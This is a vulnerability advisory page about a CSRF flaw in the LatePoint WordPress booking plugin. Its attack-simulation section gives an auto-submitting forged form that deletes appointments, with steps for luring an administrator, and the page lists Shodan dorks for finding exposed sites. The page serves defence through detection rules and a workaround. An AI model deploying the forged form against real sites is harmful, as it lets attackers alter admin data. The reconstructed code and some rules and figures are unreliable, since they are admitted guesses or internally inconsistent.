☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 4.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-14873

CVE-2025-14873 Cross-Site Request Forgery in Latepoint
📅 PUBLISHED: 2026-02-14 06:42 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.03%
👁️
0.03% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 4.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: N Availability None
4.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-14873 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the LatePoint – Calendar Booking Plugin for Appointments and Events for WordPress, up to and including version 5.2.5. The vulnerability resides in the call_by_route_name function within the plugin's routing layer, which fails to enforce nonce verification while only validating user capabilities. This oversight allows unauthenticated attackers to forge requests that can perform multiple administrative actions, provided they can trick a site administrator into clicking a malicious link.

As a WordPress plugin vulnerability, this issue directly impacts the WordPress ecosystem and does not involve server-level components like Apache or Nginx. The CVSS score is 4.3 (Medium), with a low EPSS score of 0.0%, indicating a low probability of exploitation in the wild currently. However, the lack of a patch and the potential for social engineering attacks make this a significant concern for site administrators.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the LatePoint WordPress plugin, which is distributed via the WordPress plugin repository and third-party marketplaces. Since it is a WordPress plugin, it is not part of the NPM, PyPI, Go, or Ruby ecosystems. However, the risk extends to the supply chain if the plugin is bundled with themes or other plugins. Administrators should verify the integrity of their plugin installations and monitor for updates from the vendor.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
  • Base Score: 4.3 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: Required (UI:R) – The attacker must trick an administrator into clicking a link.
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: None (C:N)
  • Integrity Impact: Low (I:L) – The attacker can perform administrative actions, but the impact is limited to the plugin's functionality.
  • Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires user interaction and does not directly lead to data breaches or system compromise, but it can be used to modify plugin settings, delete appointments, or perform other administrative actions.

Deep Dive & Mechanics

The vulnerability is rooted in the call_by_route_name function, which is part of the plugin's routing layer. This function is responsible for handling AJAX requests and routing them to appropriate handlers. The flaw is that the function only checks user capabilities (e.g., whether the user has administrative privileges) but does not enforce nonce verification. Nonces are security tokens used in WordPress to prevent CSRF attacks by ensuring that requests originate from the intended user.

Without nonce verification, an attacker can craft a malicious link or form that, when clicked by an authenticated administrator, will execute arbitrary actions on the plugin's backend. For example, an attacker could:

  • Change plugin settings (e.g., booking rules, payment configurations).
  • Delete or modify appointments.
  • Create new admin users (if the plugin has such functionality).
  • Disable security features.

The attack vector is straightforward: the attacker sends a forged request (e.g., via a phishing email or malicious website) to the WordPress site, and if the administrator is logged in, the request is processed as if it came from the administrator.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is present in all versions up to 5.2.5. The core issue is in the call_by_route_name function, which likely looks like this:

Vulnerable Code (LatePoint <= 5.2.5):

function call_by_route_name($route_name, $params = []) {
    // Only checks capabilities, no nonce verification
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    // Process the route
    // ...
}

Patched Code (Hypothetical):

function call_by_route_name($route_name, $params = []) {
    // Verify nonce first
    if (!wp_verify_nonce($params['_wpnonce'], 'latepoint_route_nonce')) {
        wp_die('CSRF detected');
    }
    // Then check capabilities
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    // Process the route
    // ...
}

The fix would involve adding a nonce check before processing the request. Until a patch is released, administrators must rely on workarounds.

Exploitation & Lab Setup

Red Team (Attack Simulation)

To simulate the attack, an attacker would craft a malicious HTML page or email that sends a forged request to the vulnerable WordPress site. Since no public exploit code is available, the following is a conceptual example:

Malicious HTML (csrf_exploit.html):

<!DOCTYPE html>
<html>
<body>
<h1>Click the button to win a prize!</h1>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="latepoint_route">
    <input type="hidden" name="route" value="delete_all_appointments">
    <input type="hidden" name="nonce" value="fake_nonce"> <!-- Nonce is not verified -->
    <input type="submit" value="Claim Prize">
</form>
<script>
    // Auto-submit the form
    document.forms[0].submit();
</script>
</body>
</html>

Steps:

  1. Host the HTML file on a server or send it as an email attachment.
  2. Trick an administrator into opening the file and clicking the button (or auto-submit).
  3. The request is sent to the WordPress site, and if the admin is logged in, the action is executed.

Blue Team (Defense & Detection)

Detection:

  • Monitor for unusual AJAX requests to admin-ajax.php with the action parameter set to latepoint_route.
  • Look for requests lacking a valid nonce (e.g., _wpnonce parameter missing or invalid).
  • Use web application firewalls (WAF) to block requests from untrusted origins.

Prevention:

  • Implement additional CSRF protections at the server level (e.g., SameSite cookies).
  • Educate administrators about phishing attacks and the importance of not clicking suspicious links.
  • Use a security plugin that adds nonce verification to all AJAX requests.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP POST requests to /wp-admin/admin-ajax.php with action=latepoint_route and missing or invalid _wpnonce parameter.
    • Referer headers from untrusted domains (e.g., attacker-controlled sites).
  • File IOCs:
    • Modified plugin settings in the database (e.g., wp_options table with latepoint_* keys).
    • Unexpected changes to appointments or user roles.
  • Log IOCs:
    • WordPress debug logs showing wp_die('Unauthorized') or similar errors from the call_by_route_name function.

Detection Engineering

YARA Rule

rule CVE_2025_14873_LatePoint_CSRF {
    meta:
        description = "Detects vulnerable LatePoint plugin files with missing nonce verification"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14873"
    strings:
        $func = "call_by_route_name"
        $cap_check = "current_user_can"
        $nonce_missing = "wp_verify_nonce" nocase
    condition:
        $func and $cap_check and not $nonce_missing
}

Sigma Rule

title: CVE-2025-14873 LatePoint CSRF Exploitation Attempt
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6e
status: experimental
description: Detects HTTP requests targeting LatePoint plugin without nonce verification
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=latepoint_route'
        cs-uri-query|contains: 'admin-ajax.php'
    filter:
        cs-uri-query|contains: '_wpnonce'
    condition: selection and not filter
falsepositives:
    - Legitimate plugin updates or custom integrations
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-14873 LatePoint CSRF Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=latepoint_route"; http_client_body; pcre:"/^(?!.*_wpnonce).*$/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released, or restrict access to the plugin's admin pages using .htaccess or a security plugin.
  2. Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php that contain action=latepoint_route without a valid nonce.
  3. Educate administrators about the risks of clicking links in emails or on untrusted websites.

Long-term Fix:

  • The vendor must release a patched version that adds nonce verification to the call_by_route_name function. Until then, consider using an alternative booking plugin.

Workaround:

  • Add a custom function to your theme's functions.php to enforce nonce verification for all LatePoint AJAX requests:
add_action('wp_ajax_latepoint_route', 'enforce_nonce_for_latepoint', 1);
function enforce_nonce_for_latepoint() {
    if (!wp_verify_nonce($_REQUEST['_wpnonce'], 'latepoint_route_nonce')) {
        wp_die('CSRF detected');
    }
}

Valters IT – Securing digital ecosystems through proactive threat intelligence.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"latepoint"
http.html:"latepoint-calendar-booking"
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-14873/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.